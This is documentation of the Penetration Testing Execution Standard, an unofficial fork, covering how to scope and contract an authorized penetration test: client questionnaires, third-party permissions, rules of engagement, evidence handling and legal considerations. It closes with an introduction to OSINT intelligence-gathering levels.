The Penetration Testing Execution Standard Documentation

Release 1.1

The PTES Team

Apr 12, 2022

Contents

Contents:

CHAPTER 1

The Penetration Testing Execution Standard

1.1 High Level Organization of the Standard

Fork Disclaimer: Note that this is an unofficial fork, the goal for which is to experiment with an alternative platform for the standard. The official PTES can be located at http://pentest-standard.org/.

The penetration testing execution standard consists of seven (7) main sections. These cover everything related to a penetration test - from the initial communication and reasoning behind a pentest, through the intelligence gathering and threat modeling phases where testers are working behind the scenes in order to get a better understanding of the tested organization, through vulnerability research, exploitation and post exploitation, where the technical security expertise of the testers come to play and combine with the business understanding of the engagement, and finally to the reporting, which captures the entire process, in a manner that makes sense to the customer and provides the most value to it.

This version can be considered a v1.0 as the core elements of the standard are solidified, and have been "road tested" for over a year through the industry. A v2.0 is in the works soon, and will provide more granular work in terms of "levels" - as in intensity levels at which each of the elements of a penetration test can be performed at. As no pentest is like another, and testing will range from the more mundane web application or network test, to a full-on red team engagement, said levels will enable an organization to define how much sophistication they expect their adversary to exhibit, and enable the tester to step up the intensity on those areas where the organization needs them the most. Some of the initial work on "levels" can be seen in the intelligence gathering section.

Following are the main sections defined by the standard as the basis for penetration testing execution:

1. *Pre-engagement Interactions*
2. *Intelligence Gathering*
3. *Threat Modeling*
4. *Vulnerability Analysis*
5. *Exploitation*
6. *Post Exploitation*
7. *Reporting*

As the standard does not provide any technical guidelines as far as how to execute an actual pentest, we have also created a technical guide to accompany the standard itself. The technical gude can be reached via the link below:

- *PTES Technical Guidelines*

For more information on what this standard is, please visit:

- *FAQ*

CHAPTER 2

Pre-engagement Interactions

2.1 Overview

The aim of this section of the PTES is to present and explain the tools and techniques available which aid in a successful pre-engagement step of a penetration test. The information within this section is the result of the many years of combined experience of some of the most successful penetration testers in the world.

If you are a customer looking for penetration test we strongly recommend going to the General Questions section of this document. It covers the major questions that should be answered before a test begins. Remember, a penetration test should not be confrontational. It should not be an activity to see if the tester can "hack" you. It should be about identifying the business risk associated with and attack.

To get maximum value, make sure the questions in this document are covered. Further, as the Scoping activity progresses, a good testing firm will start to ask additional questions tailored to your organization.

2.2 Introduction to Scope

Defining scope is arguably one of the most important components of a penetration test, yet it is also one of the most overlooked. While many volumes have been written about the different tools and techniques which can be utilized to gain access to a network, very little has been written on the topic which precedes the penetration: preparation. Neglecting to properly complete pre-engagement activities has the potential to open the penetration tester (or his firm) to a number of headaches including scope creep, unsatisfied customers, and even legal troubles. The scope of a project specifically defines what is to be tested. How each aspect of the test will be conducted will be covered in the Rules of Engagement section.

One key component of scoping an engagement is outlining how the testers should spend their time. As an example, a customer requests that one hundred IP addresses be tested for the price of $100,000. This means that the customer is offering $1,000 per IP address tested. However, this cost structure only remains effective at that volume. A common trap some testers fall into is maintaining linear costs throughout the testing process. If the customer had only asked for one business-critical application to be tested at the same pricing structure ($1,000), while the tester will still be only attacking a single IP, the volume of work has increased dramatically. It is important to vary costs based on work done.

Otherwise a firm can easily find themselves undercharging for their services, which motivates them to do a less than complete job.

Despite having a solid pricing structure, the process is not all black and white. It is not uncommon for a client to be completely unaware of exactly what it is they need tested. It is also possible the client will not know how to communicate effectively what they're expecting from the test. It is important in the Pre-Engagement phase that the tester is able to serve as a guide through what may be uncharted territory for a customer. The tester must understand the difference between a test which focuses on a single application with severe intensity and a test where the client provides a wide range of IP addresses to test and the goal is to simply find a way in.

2.3 Metrics for Time Estimation

Time estimations are directly tied to the experience of a tester in a certain area. If a tester has significant experience in a certain test, he will likely innately be able to determine how long a test will take. If the tester has less experience in the area, re-reading emails and scan logs from previous similar tests the firm has done is a great way to estimate the time requirement for the current engagement. Once the time to test is determined, it is a prudent practice to add 20% to the time.

The extra 20% on the back end of the time value is called padding. Outside of consultant circles, this is also referred to as consultant overhead. The padding is an absolute necessity for any test. It provides a cushion should any interruptions occur in the testing. There are many events which commonly occur and hinder the testing process. For example, a network segment may go down, or a significant vulnerability may be found which requires many meetings with many levels of management to address. Both of these events are time consuming and would significantly impact the original time estimate if the padding was not in place.

What happens if the 20% padding ends up not being necessary? Billing the client for time not worked would be extremely unethical, so it is up to the testers to provide additional value that may not normally have been provided if the engagement time limit had been hit. Examples include walking the company security team through the steps taken to exploit the vulnerability, provide an executive summary if it was not part of the original deliverable list, or spend some additional time trying to crack a vulnerability that was elusive during the initial testing.

Another component of the metrics of time and testing is that every project needs to have a definitive drop dead date. All good projects have a well-defined beginning and end. You will need to have a signed statement of work specifying the work and the hours required if you've reached the specific date the testing is to end, or if any additional testing or work is requested of you after that date. Some testers have a difficult time doing this because they feel they are being too much of a pain when it comes to cost and hours. However, it has been the experience of the author that if you provide exceptional value for the main test the customer will not balk at paying you for additional work.

2.4 Scoping Meeting

In many cases the scoping meeting will occur after the contract has been signed. Situations do occur wherein many of the scope-related topics can be discussed before contract signing, but they are few and far between. For those situations it is recommended that a non-disclosure agreement be signed before any in-depth scoping discussions occur.

The goal of the scoping meeting is to discuss what will be tested. Rules of engagement and costs will not be covered in this meeting. Each of these subjects should be handled in meetings where each piece is the focus of that meeting. This is done because discussions can easily become confused and muddled if focus is not explicitly stated. It is important to act as moderator and keep the discussions on-topic, preventing tangents and declaring certain topics more suited for off-line discussion when necessary.

Now that a Rough Order of Magnitude (ROM) value has been established for the project it is time to have a meeting with the customer to validate assumptions. First, it needs to be established explicitly what IP ranges are in scope for the engagement. It is not uncommon for a client to be resistant and assume that it is the prerogative of the tester to identify their network and attack it, to make the test as realistic as possible. This would indeed be an ideal circumstance,

however, possible legal ramifications must be considered above all else. Because of this, it is the responsibility of the tester to convey to a client these concerns and to impart upon them the importance of implicit scoping. For example, in the meeting, it should be verified that the customer owns all of the target environments including: the DNS server, the email server, the actual hardware their web servers run on and their firewall/IDS/IPS solution. There are a number of companies which will outsource the management of these devices to third parties.

Additionally, the countries, provinces, and states in which the target environments operate in must be identified. Laws vary from region to region and the testing may very well be impacted by these laws. For instance, countries belonging to the European Union are well known to have very stringent laws surrounding the privacy of individuals, which can significantly change the manner in which a social engineering engagement would be executed.

2.5 Additional Support Based on Hourly Rate

Anything that is not explicitly covered within the scope of the engagement should be handled very carefully. The first reason for this is scope creep. As the scope expands, resources are consumed, cutting into the profits for the tester and may even create confusion and anger on the part of the customer. There is another issue that many testers do not think of when taking on additional work on an ad-hoc basis: legal ramifications. Many ad-hoc requests are not properly documented so it can be difficult to determine who said what in the event of a dispute or legal action. Further, the contract is a legal document specifying the work that is to be done. It should be tightly tied to the permission to test memo.

Any requests outside of the original scope should be documented in the form of a statement of work that clearly identifies the work to be done. We also recommend that it be clearly stated in the contract that additional work will be done for a flat fee per hour and explicitly state that additional work can not be completed until a signed and counter-signed SOW is in place.

2.6 Questionnaires

During initial communications with the customer there are several questions which the client will have to answer in order for the engagement scope can be properly estimated. These questions are designed to provide a better understanding of what the client is looking to gain out of the penetration test, why the client is looking to have a penetration test performed against their environment, and whether or not they want certain types of tests performed during the penetration test. The following are sample questions which may be asked during this phase.

2.7 General Questions

2.7.1 Network Penetration Test

1. Why is the customer having the penetration test performed against their environment?
2. Is the penetration test required for a specific compliance requirement?
3. When does the customer want the active portions (scanning, enumeration, exploitation, etc. . .) of the penetration test conducted?
    1. During business hours?
    2. After business hours?
    3. On the weekends?
4. How many total IP addresses are being tested?

1. How many internal IP addresses, if applicable?
2. How many external IP addresses, if applicable?

5. Are there any devices in place that may impact the results of a penetration test such as a firewall, intrusion detection/prevention system, web application firewall, or load balancer?
6. In the case that a system is penetrated, how should the testing team proceed?
    1. Perform a local vulnerability assessment on the compromised machine?
    2. Attempt to gain the highest privileges (root on Unix machines, SYSTEM or Administrator on Windows machines) on the compromised machine?
    3. Perform no, minimal, dictionary, or exhaustive password attacks against local password hashes obtained (for example, /etc/shadow on Unix machines)?

2.7.2 Web Application Penetration Test

1. How many web applications are being assessed?
2. How many login systems are being assessed?
3. How many static pages are being assessed? (approximate)
4. How many dynamic pages are being assessed? (approximate)
5. Will the source code be made readily available?
6. Will there be any kind of documentation?
    1. If yes, what kind of documentation?
7. Will static analysis be performed on this application?
8. Does the client want fuzzing performed against this application?
9. Does the client want role-based testing performed against this application?
10. Does the client want credentialed scans of web applications performed?

2.7.3 Wireless Network Penetration Test

1. How many wireless networks are in place?
2. Is a guest wireless network used? If so:
    1. Does the guest network require authentication?
    2. What type of encryption is used on the wireless networks?
    3. What is the square footage of coverage?
    4. Will enumeration of rogue devices be necessary?
    5. Will the team be assessing wireless attacks against clients?
    6. Approximately how many clients will be using the wireless network?

2.7.4 Physical Penetration Test

1. How many locations are being assessed?
2. Is this physical location a shared facility? If so:
    1. How many floors are in scope?
    2. Which floors are in scope?
3. Are there any security guards that will need to be bypassed? If so:
    1. Are the security guards employed through a 3rd party?
    2. Are they armed?
    3. Are they allowed to use force?
4. How many entrances are there into the building?
5. Is the use of lock picks or bump keys allowed? (also consider local laws)
6. Is the purpose of this test to verify compliance with existing policies and procedures or for performing an audit?
7. What is the square footage of the area in scope?
8. Are all physical security measures documented?
9. Are video cameras being used?
    1. Are the cameras client-owned? If so:
        1. Should the team attempt to gain access to where the video camera data is stored?
10. Is there an armed alarm system being used? If so:
    1. Is the alarm a silent alarm?
    2. Is the alarm triggered by motion?
    3. Is the alarm triggered by opening of doors and windows?

2.7.5 Social Engineering

1. Does the client have a list of email addresses they would like a Social Engineering attack to be performed against?
2. Does the client have a list of phone numbers they would like a Social Engineering attack to be performed against?
3. Is Social Engineering for the purpose of gaining unauthorized physical access approved? If so:
    1. How many people will be targeted?

It should be noted that as part of different levels of testing, the questions for Business Unit Managers, Systems Administrators, and Help Desk Personnel may not be required. However, in the case these questions are necessary, some sample questions can be found below.

2.7.6 Questions for Business Unit Managers

1. Is the manager aware that a test is about to be performed?
2. What is the main datum that would create the greatest risk to the organization if exposed, corrupted, or deleted?
3. Are testing and validation procedures to verify that business applications are functioning properly in place?

4. Will the testers have access to the Quality Assurance testing procedures from when the application was first developed?
5. Are Disaster Recovery Procedures in place for the application data?

2.7.7 Questions for Systems Administrators

1. Are there any systems which could be characterized as fragile? (systems with tendencies to crash, older operating systems, or which are unpatched)
2. Are there systems on the network which the client does not own, that may require additional approval to test?
3. Are Change Management procedures in place?
4. What is the mean time to repair systems outages?
5. Is any system monitoring software in place?
6. What are the most critical servers and applications?
7. Are backups tested on a regular basis?
8. When was the last time the backups were restored?

2.8 Scope Creep

Scope creep is one of the most efficient ways to put a penetration testing firm out of business. The issue is that many companies and managers have little to no idea how to identify it, or how to react to it when it happens.

There are a couple of things to remember when battling scope creep. First, if a customer is pleased with the work done on a particular engagement, it is very common for them to request additional work. Take this as a compliment, and do not hesitate to ask for additional funding to compensate for the extra time spent. If a customer refuses to pay for the extra work, it is almost never worth staying on to do that work.

The second point is even more critical. When dealing with existing customers, take care to keep the prices lower. Taking advantage of a good situation by price gouging is a sure way to drive away repeat business. Take into consideration that prices can be lowered since the firm avoided the costs of acquiring the customer such as the formal RFP process and hunting for the customer itself. Further, the best source for future work is through existing customers. Treat them well and they will return.

2.9 Specify Start and End Dates

Another key component defeating scope creep is explicitly stating start and end dates. This allows the project to have definite end. One of the most common areas in which scope creep occurs is during retesting. Retesting always sounds like a good idea when going after a contract. It shows that the firm is caring and diligent, trying to make ensure that the customer is secure as possible. The problem begins when it is forgotten that the work is not paid for until it is completed. This includes retesting.

To mitigate this risk, add a simple statement to the contract which mentions that all retesting must be done within a certain timeframe after the final report delivery. It then becomes the responsibility of the testers to spearhead the retesting effort. If the customer requests an extension, always allow this with the condition that payment be fulfilled at the originally specified date. Finally, and most importantly, perform a quality retest. Remember, the best source for future work is your existing customer base.

2.10 Specify IP Ranges and Domains

Before starting a penetration test, all targets must be identified. These targets should be obtained from the customer during the initial questionnaire phase. Targets can be given in the form of specific IP addresses, network ranges, or domain names by the customer. In some instances, the only target the customer provides is the name of the organization and expects the testers be able to identify the rest on their own. It is important to define if systems like firewalls and IDS/IPS or networking equipment that are between the tester and the final target are also part of the scope. Additional elements such as upstream providers, and other 3rd party providers should be identified and defined whether they are in scope or not.

2.10.1 Validate Ranges

It is imperative that before you start to attack the targets you validate that they are in fact owned by the customer you are performing the test against. Think of the legal consequences you may run into if you start attacking a machine and successfully penetrate it only to find out later down the line that the machine actually belongs to another organization (such as a hospital or government agency).

2.11 Dealing with Third Parties

There are a number of situations where an engagement will include testing a service or an application that is being hosted by a third party. This has become more prevalent in recent years as "cloud" services have become more popular. The most important thing to remember is that while permission may have been granted by the client, they do not speak for their third party providers. Thus, permission must be obtained from them as well in order to test the hosted systems. Failing to obtain the proper permissions brings with it, as always, the possibility of violating the law, which can cause endless headaches.

2.11.1 Cloud Services

The single biggest issue with testing cloud service is there is data from multiple different organizations stored on one physical medium. Often the security between these different data domains is very lax. The cloud services provider needs to be alerted to the testing and needs to acknowledge that the test is occurring and grant the testing organization permission to test. Further, there needs to be a direct security contact within the cloud service provider that can be contacted in the event that a security vulnerability is discovered which may impact the other cloud customers. Some cloud providers have specific procedures for penetration testers to follow, and may require request forms, scheduling or explicit permission from them before testing can begin.

2.11.2 ISP

Verify the ISP terms of service with the customer. In many commercial situations the ISP will have specific provisions for testing. Review these terms carefully before launching an attack. There are situations where ISPs will shun and block certain traffic which is considered malicious. The customer may approve this risk, but it must always be clearly communicated before beginning.

2.11.3 Web Hosting

As with all other third parties, the scope and timing of the test needs to be clearly communicated with the web hosting provider. Also, when communicating with the client, be sure to clearly articulate the test will only be in search of web

vulnerabilities. The test will not uncover vulnerabilities in the underlying infrastructure which may still provide an avenue to compromise the application.

2.11.4 MSSPs

Managed Security Service Providers also may need to be notified of testing. Specifically, they will need to be notified when the systems and services that they own are to be tested. However, there are circumstances under which the MSSP would not be notified. If determining the actual response time of the MSSP is part of the test, it is certainly not in the best interest of the integrity of the test for the MSSP to be notified. As a general rule of thumb, any time a device or service explicitly owned by the MSSP is being tested they will need to be notified.

2.11.5 Countries Where Servers are Hosted

It is also in the best interests of the tester to verify the countries where servers are being housed. After you have validated the country, review the laws of the specific country before beginning testing. It should not be assumed that the firm's legal team will provide a complete synopsis of local laws for the testers. It should also not be assumed that the firm will take legal responsibility for any laws violated by its testers. It is the responsibility of each tester to verify the laws for each region they are testing in before they begin testing because it will be the tester who ultimately will have to answer for any transgressions.

2.12 Define Acceptable Social Engineering Pretexts

Many organizations will want their security posture tested in a way which is aligned with current attacks. Social engineering and spear-phishing attacks are currently widely used by many attackers today. While most of the successful attacks use pretexts like sex, drugs, and rock and roll (porn, Viagra, and free iPods respectively) some of these pretexts may not be acceptable in a corporate environment. Be sure that any pretexts chosen for the test are approved in writing before testing is to begin.

2.13 DoS Testing

Stress testing or Denial of Service testing should be discussed before the engagement begins. It can be a topic that many organizations are uncomfortable with due to the potentially damaging nature of the testing. If an organization is only worried about the confidentiality or integrity of their data, stress testing may not be necessary; however, if the organization is also worried about the availability of their services, then the stress testing should be conducted in a non-production environment which is identical to the production environment.

2.14 Payment Terms

Another aspect of preparing for a test that many testers completely forget about is how they should be paid. Just like contract dates there should be specific dates and terms for payments. It is not uncommon for larger organizations to delay payment for as long as possible. Below are a few common payment methods. These are simply examples. It is definitely recommended that each organization create and tweak their own pricing structure to more aptly suit the needs of their clients and themselves. The important thing is that some sort of structure be in place before testing begins.

2.14.1 Net 30

The total amount is due within 30 days of the delivery of the final report. This is usually associated with a per month percentage penalty for non-payment. This can be any number of days you wish to grant your customers (i.e. 45, or 60).

2.14.2 Half Upfront

It is not uncommon to require half of the total bill upfront before testing begins. This is very common for longer-term engagements.

2.14.3 Recurring

A recurring payment schedule is more commonly used for long-term engagements. For example, some engagements may span as far as a year or two. It is not at all uncommon to have the customer pay in regular installments throughout the year.

2.15 Goals

Every penetration test should be goal-oriented. This is to say that the purpose of the test is to identify specific vulnerabilities that lead to a compromise of the business or mission objectives of the customer. It is not about finding un-patched systems. It is about identifying risk that will adversely impact the organization.

2.15.1 Primary

The primary goal of a test should not be driven by compliance. There are a number of different justifications for this reasoning. First, compliance does not equal security. While it should be understood that many organizations undergo testing because of compliance it should not be the main goal of the test. For example, a firm may be hired to complete a penetration test as part of PCI-DSS requirements.

There is no shortage of companies which process credit card information. However, the traits which make the target organization unique and viable in a competitive market will have the greatest impact if compromised. Credit card systems being compromised would certainly be a serious issue, but credit cards numbers, along with all of the associated customer data being leaked would be catastrophic.

2.15.2 Secondary

The secondary goals are directly related to compliance. It is not uncommon for primary and secondary goals to be very closely related. For example, in the example of the PCI-DSS driven test, getting the credit cards is the secondary goal. Tying that breach of data to the business or mission drivers of the organization is the primary goal. Secondary goals mean something for compliance and/or IT. Primary goals get the attention of upper management.

2.15.3 Business Analysis

Before performing a penetration test it is beneficial to determine the maturity level of the client's security posture. There are a number of organizations which choose to jump directly into a penetration test first assessing this maturity level. For customers with a very immature security program, it is often a good idea to perform a vulnerability analysis first.

Some testers believe there is a stigma surrounding Vulnerability Analysis (VA) work. Those testers have forgotten that the goal is to identify risks in the target organization, not about pursuing the so-called "rockstar" lifestyle. If a company is not ready for a full penetration test, they will get far more value out of a good VA than a penetration test.

Establish with the customer in advance what information about the systems they will be providing. It may also be helpful to ask for information about vulnerabilities which are already documented. This will save the testers time and save the client money by not overlapping testing discoveries with known issues. Likewise, a full or partial white-box test may bring the customer more value than a black-box test, if it isn't absolutely required by compliance.

2.16 Establish Lines of Communication

One of the most important aspects of any penetration test is communication with the customer. How often you interact with the customer, and the manner in which you approach them, can make a huge difference in their feeling of satisfaction. Below is a communication framework that will aid in making the customer feel comfortable about the test activities.

2.17 Emergency Contact Information

Obviously, being able to get in touch with the customer or target organization in an emergency is vital. Emergencies may arise, and a point of contact must have been established in order to handle them. Create an emergency contact list. This list should include contact information for all parties in the scope of testing. Once created, the emergency contact list should be shared with all those on the list. Keep in mind, the target organization may not be the customer.

Gather the following information about each emergency contact:

1. Full name
2. Title and operational responsibility
3. Authorization to discuss details of the testing activities, if not already specified
4. Two forms of 24/7 immediate contact, such as cell phone, pager, or home phone, if possible
5. One form of secure bulk data transfer, such as SFTP or encrypted email

Note: The number for a group such as the help desk or operations center can replace one emergency contact, but only if it is staffed 24/7. The nature of each penetration test influences who should be on the emergency contact list. Not only will contact information for the customer and targets need to be made available, but they may also need to contact the testers in an emergency. The list should preferably include the following people:

1. All penetration testers in the test group for the engagement
2. The manager of the test group
3. Two technical contacts at each target organization
4. Two technical contacts at the customer
5. One upper management or business contact at the customer

It is possible that there will be some overlap in the above list. For instance, the target organization may be the customer, the test group's manager may also be performing the penetration test, or a customer's technical contact may be in upper management. It is also recommended to define a single contact person per involved party who leads it and takes responsibility on behalf of it.

2.17.1 Incident Reporting Process

Discussing the organization's current incident response capabilities is important to do before an engagement for several reasons. Part of a penetration test is not only testing the security an organization has in place, but also their incident response capabilities.

If an entire engagement can be completed without the target's internal security teams ever noticing, a major gap in security posture has been identified. It is also important to ensure that before testing begins, someone at the target organization is aware of when the tests are being conducted so the incident response team does not start to call every member of upper management in the middle of the night because they thought they were under attack or compromised.

2.17.2 Incident Definition

The National Institute of Standards and Technology (NIST) defines an incident as follows: "a violation or imminent threat of violation of computer security policies, acceptable use policies, or standard security practices." (Computer Security Incident Handling Guide - Special Publication 800-61 Rev 1). An incident can also occur on a physical level, wherein a person gain unauthorized physical access to an area by any means. The target organization should have different categories and levels for different types of incidents.

2.17.3 Status Report Frequency

The frequency of status reporting can vary widely. Some factors which influence the reporting schedule include the overall length of the test, the test scope, and the target's security maturity. An effective schedule allows the customer to feel engaged. An ignored customer is a former customer.

Once frequency and schedule of status reports has been set, it must be fulfilled. Postponing or delaying a status report may be necessary, but it should not become chronic. The client may be asked to agree to a new schedule if necessary. Skipping a status report altogether is unprofessional and should be avoided if at all possible.

2.17.4 PGP and Other Alternatives

Encryption is not optional. Communication with the customer is an absolutely necessary part of any penetration testing engagement and due to the sensitive nature of the engagement, communications of sensitive information must be encrypted, especially the final report. Before the testing begins, a means of secure communication must be established with the client. Several common means of encryption are as follows:

1. PGP/GPG can be used to both communicate over e-mail and to encrypt the final report (remember that subject lines are passed through in plaintext)
2. A secure mailbox hosted on the customer's network
3. Telephone
4. Face to face meetings
5. To deliver the final report, you can also store the report in an AES encrypted archive file, but make sure that your archive utility supports AES encryption using CBC.

Also ask what kinds of information can be put in writing and which should be communicated only verbally. Some organizations have very good reasons for limiting what security information is transmitted to them in writing.

2.18 Rules of Engagement

While the scope defines what will be tested, the rules of engagement defines how that testing is to occur. These are two different aspects which need to be handled independently from each other.

2.18.1 Timeline

A clear timeline should be established for the engagement. While scope defines the start and the end of an engagement, the rules of engagement define everything in between. It should be understood that the timeline will change as the test progresses. However, having a rigid timeline is not the goal of creating one. Rather, having a timeline in place at the beginning of a test will allow everyone involved to more clearly identify the work that is to be done and the people who will be responsible for said work. GANTT Charts and Work Breakdown Structures are often used to define the work and the amount of time that each specific piece of the work will take. Seeing the schedule broken down in this manner aids those involved in identifying where resources need to be applied and it helps the customer identify possible roadblocks which many be encountered during testing.

There are a number of free GANTT Chart tools available on the Internet. Many mangers identify closely with these tools. Because of this, they are an excellent medium for communicating with the upper management of a target organization.

2.18.2 Locations

Another parameter of any given engagement which is important to establish with the customer ahead of time is any destinations to which the testers will need to travel during the test. This could be as simple as identifying local hotels, or complex as identifying the applicable laws of a specific target country.

It is not uncommon for an organization to operate in multiple locations and regions and a few select sites will need to be chosen for testing. In these situations, travel to every customer location should be avoided, instead, it should be determined if VPN connections to the sites are available for remote testing.

2.18.3 Disclosure of Sensitive Information

While one of the goals of a given engagement may be to gain access to sensitive information, certain information should not actually be viewed or downloaded. This seems odd to newer testers, however, there are a number of situations where the testers should not have the target data in their possession. For example Personal Health Information (PHI), under the Health Insurance Portability and Accountability Act (HIPAA), this data must be protected. In some situations, the target system may not have a firewall or anti-virus (AV) protecting it. In this sort of situation, the testers being in possession of any and all Personally Identifiable Information (PII) should be absolutely avoided.

However, if the data cannot be physically or virtually obtained, how can it be proved that the testers indeed obtained access to the information? This problem has been solved in a number of ways. There are ways to prove that the vault door was opened without taking any of the money. For instance, a screenshot of database schema and file permissions can be taken, or the files themselves can be displayed without opening them to displaying the content, as long as no PII is visible in the filenames themselves.

How cautious the testers should be on a given engagement is a parameter which needs to be discussed with the client, but the firm doing the testing should always be sure to protect themselves in a legal sense regardless of client opinion. Regardless of supposed exposure to sensitive data, all report templates and tester machines should be sufficiently scrubbed following each engagement. As a special side note, if illegal data (i.e. child pornography) is discovered by the testers, proper law enforcement officials should be notified immediately, followed by the customer. Do not take direction from the customer.

2.18.4 Evidence Handling

When handling evidence of a test and the differing stages of the report it is incredibly important to take extreme care with the data. Always use encryption and sanitize your test machine between tests. Never hand out USB sticks with test reports out at security conferences. And whatever you do, don't re-use a report from another customer engagement as a template! It's very unprofessional to leave references to another organization in your document.

2.18.5 Regular Status Meetings

Throughout the testing process it is critical to have regular meetings with the customer informing them of the overall progress of the test. These meetings should be held daily and should be as short as possible. Meetings should be kept to three concepts: plans, progress and problems.

Plans are generally discussed so that testing is not conducted during a major unscheduled change or an outage. Progress is simply an update to the customer on what has been completed so far. Problems should also be discussed in this meeting, but in the interest of brevity, conversations concerning solutions should almost always be taken offline.

2.18.6 Time of the Day to Test

Certain customers require all testing to be done outside of business hours. This can mean late nights for most testers. The time of day requirements should be well established with the customer before testing begins.

2.18.7 Dealing with Shunning

There are times where shunning is perfectly acceptable and there are times where it may not fit the spirit of the test. For example, if your test is to be a full black-box test where you are testing not only the technology, but the capabilities of the target organization's security team, shunning would be perfectly fine. However, when you are testing a large number of systems in coordination with the target organization's security team it may not be in the best interests of the test to shun your attacks.

2.18.8 Permission to Test

One of the most important documents which need to be obtained for a penetration test is the Permission to Test document. This document states the scope and contains a signature which acknowledges awareness of the activities of the testers. Further, it should clearly state that testing can lead to system instability and all due care will be given by the tester to not crash systems in the process. However, because testing can lead to instability the customer shall not hold the tester liable for any system instability or crashes. It is critical that testing does not begin until this document is signed by the customer.

In addition, some service providers require advance notice and/or separate permission prior to testing their systems. For example, Amazon has an online request form that must be completed, and the request must be approved before scanning any hosts on their cloud. If this is required, it should be part of the document.

2.18.9 Legal Considerations

Some activities common in penetration tests may violate local laws. For this reason, it is advised to check the legality of common pentest tasks in the location where the work is to be performed. For example,any VOIP calls captured in the course of the penetration test may be considered wiretapping in some areas.

2.19 Capabilities and Technology in Place

Good penetration tests do not simply check for un-patched systems. They also test the capabilities of the target organization. To that end, below is a list of things that you can benchmark while testing.

1. Ability to detect and respond to information gathering
2. Ability to detect and respond to foot printing
3. Ability to detect and respond to scanning and vuln analysis
4. Ability to detect and respond to infiltration (attacks)
5. Ability to detect and respond to data aggregation
6. Ability to detect and respond to data ex-filtration

When tracking this information be sure to collect time information. For example, if a scan is detected you should be notified and note what level of scan you were preforming at the time.

CHAPTER 3

Intelligence Gathering

3.1 General

This section defines the Intelligence Gathering activities of a penetration test. The purpose of this document is to provide a standard designed specifically for the pentester performing reconnaissance against a target (typically corporate, military, or related). The document details the thought process and goals of pentesting reconnaissance, and when used properly, helps the reader to produce a highly strategic plan for attacking a target.

3.1.1 Background Concepts

Levels are an important concept for this document and for PTES as a whole. It's a maturity model of sorts for pentesting. Defining levels allows us to clarify the expected output and activities within certain real-world constraints such as time, effort, access to information, etc.

The Intelligence Gathering levels are currently split into three categories, and a typical example is given for each one. These should guide the adding of techniques in the document below. For example, an intensive activity such as creating a facebook profile and analyzing the target's social network is appropriate in more advanced cases, and should be labeled with the appropriate level. See the mindmap below for examples.

Level 1 Information Gathering

(think: Compliance Driven) Mainly a click-button information gathering process. This level of information can be obtained almost entirely by automated tools. Bare minimum to say you did IG for a PT.

Acme Corporation is required to be compliant with PCI / FISMA / HIPAA. A Level 1 information gathering effort should be appropriate to meet the compliance requirement.

Level 2 Information Gathering

(think: Best Practice) This level can be created using automated tools from level 1 and some manual analysis. A good understanding of the business, including information such as physical location, business relationships, org chart, etc.

Widgets Inc is required to be in compliance with PCI, but is interested in their long term security strategy, and is acquiring several smaller widget manufacturers. A Level 2 information gathering effort should be appropriate to meet their needs.

Level 3 Information Gathering

(think: State Sponsored) More advanced pentest, Redteam, full-scope. All the info from level 1 and level 2 along with a lot of manual analysis. Think cultivating relationships on SocNet, heavy analysis, deep understanding of business relationships, most likely a large number of hours to accomplish the gathering and correlation.

An Army Red Team is tasked to analyze and attack a segment of the Army's network in a foreign country to find weaknesses that could be exploited by a foreign national. A level 3 information gathering effort would be appropriate in this case.

3.2 Intelligence Gathering

3.2.1 What it is

Intelligence Gathering is performing reconnaissance against a target to gather as much information as possible to be utilized when penetrating the target during the vulnerability assessment and exploitation phases. The more information you are able to gather during this phase, the more vectors of attack you may be able to use in the future.

Open source intelligence (OSINT) is a form of intelligence collection management that involves finding, selecting, and acquiring information from publicly available sources and analyzing it to produce actionable intelligence. 1

3.2.2 Why do it

We perform Open Source Intelligence gathering to determine various entry points into an organization. These entry points can be physical, electronic, and/or human. Many companies fail to take into account what information about themselves they place in public and how this information can be used by a determined attacker. On top of that many employees fail to take into account what information they place about themselves in public and how that information can be used to to attack them or their employer.

3.2.3 What is it not

OSINT may not be accurate or timely. The information sources may be deliberately/accidentally manipulated to reflect erroneous data, information may become obsolete as time passes, or simply be incomplete.

It does not encompass dumpster-diving or any methods of retrieving company information off of physical items found on-premises.

3.3 Target Selection

3.3.1 Identification and Naming of Target

When approaching a target organization it is important to understand that a company may have a number of different Top Level Domains (TDLs) and auxiliary businesses. While this information should have been discovered during the scoping phase it is not all that unusual to identify additional servers domains and companies that may not have been part of the initial scope that was discussed in the pre-engagement phase. For example a company may have a TDL of

.com. However, they may also have .net .co and .xxx. These may need to be part of the revised scope, or they may be off limits. Either way it needs to be cleared with the customer before testing begins. It is also not all that uncommon for a company to have a number of sub-companies underneath them. For example General Electric and Proctor and Gamble own a great deal of smaller companies.

3.3.2 Consider any Rules of Engagement limitations

At this point it is a good idea to review the Rules of Engagement. It is common for these to get forgotten during a test. Sometimes, as testers we get so wrapped up in what we find and the possibilities for attack that we forget which IP addresses, domains and networks we can attack. Always, be referencing the Rulles of Engagement to keep your tests focused. This is not just important from a legel perspective, it is also important from a scope creep perspective. Every time you get sidetracked from the core objectives of the test it costs you time. And in the long run that can cost your company money.

3.3.3 Consider time length for test

The amount of time for the total test will directly impact the amount of Intelligence Gathering that can be done. There are some tests where the total time is two to three months. In these engagements a testing company would spend a tremendous amount of time looking into each of the core business units and personal of the company. However, for shorter crystal-box style tests the objectives may be far more tactical. For example, testing a specific web application may not require you to research the financial records of the company CEO.

3.3.4 Consider end goal of the test

Every test has an end goal in mind - a particular asset or process that the organization considers critical. Having the end result in mind, the intelligence gathering phase should make sure to include all secondary and tertiary elements surrounding the end goal. Be it supporting technologies, 3rd parties, relevant personnel, etc... Making sure the focus is kept on the critical assets assures that lesser relevant intelligence elements are de-prioritized and categorized as such in order to not intervene with the analysis process.

3.4 OSINT

Open Source Intelligence (OSINT) takes three forms; Passive, Semi-passive, and Active.

- **Passive Information Gathering**: Passive Information Gathering is generally only useful if there is a very clear requirement that the information gathering activities never be detected by the target. This type of profiling is technically difficult to perform as we are never sending any traffic to the target organization neither from one of our hosts or "anonymous" hosts or services across the Internet. This means we can only use and gather archived or stored information. As such this information can be out of date or incorrect as we are limited to results gathered from a third party.
- **Semi-passive Information Gathering**: The goal for semi-passive information gathering is to profile the target with methods that would appear like normal Internet traffic and behavior. We query only the published name servers for information, we aren't performing in-depth reverse lookups or brute force DNS requests, we aren't searching for "unpublished" servers or directories. We aren't running network level portscans or crawlers and we are only looking at metadata in published documents and files; not actively seeking hidden content. The key here is not to draw attention to our activities. Post mortem the target may be able to go back and discover the reconnaissance activities but they shouldn't be able to attribute the activity back to anyone.
